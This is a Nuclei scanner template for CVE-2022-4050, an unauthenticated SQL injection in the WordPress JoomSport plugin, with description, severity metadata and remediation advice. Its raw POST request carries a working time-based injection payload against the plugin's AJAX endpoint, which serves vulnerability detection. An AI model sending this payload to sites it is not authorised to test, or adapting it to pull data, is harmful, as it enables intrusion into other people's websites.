CVE-2022-4050: WordPress JoomSport <5.2.8 - SQL Injection

2025-08-01 WordPress JoomSport PoC Public

Description

WordPress JoomSport plugin before 5.2.8 contains a SQL injection vulnerability. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

PoC

id: CVE-2022-4050

info:
  name: WordPress JoomSport <5.2.8 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress JoomSport plugin before 5.2.8 contains a SQL injection vulnerability. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  impact: |
    An attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Update to JoomSport plugin version 5.2.8 or later.
  reference:
    - https://wpscan.com/vulnerability/5c96bb40-4c2d-4e91-8339-e0ddce25912f
    - https://wordpress.org/plugins/joomsport-sports-league-results-management/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4050
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4050
    cwe-id: CWE-89
    epss-score: 0.04756
    epss-percentile: 0.91423
    cpe: cpe:2.3:a:beardev:joomsport:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: beardev
    product: joomsport
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,wpscan,wp-plugin,wp,joomsport-sports-league-results-management,wordpress,sqli,unauth,beardev,vkev,vuln

http:
  - raw:
      - |
        @timeout: 15s
        POST /wp-admin/admin-ajax.php?action=joomsport_md_load HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        mdId=1&shattr={"id":"1+AND+(SELECT+1+FROM(SELECT+SLEEP(7))aaaa);--+-"}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "jscaruselcont jsview2")'
        condition: and
# digest: 4a0a004730450220042c8ca8f7d006706a2ab9e3353a9bc6d7564086e626d12c1b022d4ffea89a86022100fe2c96d4bbfcc6762c4a9db1111006099a50f4c60892078d262af922943e00f9:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4050.yaml

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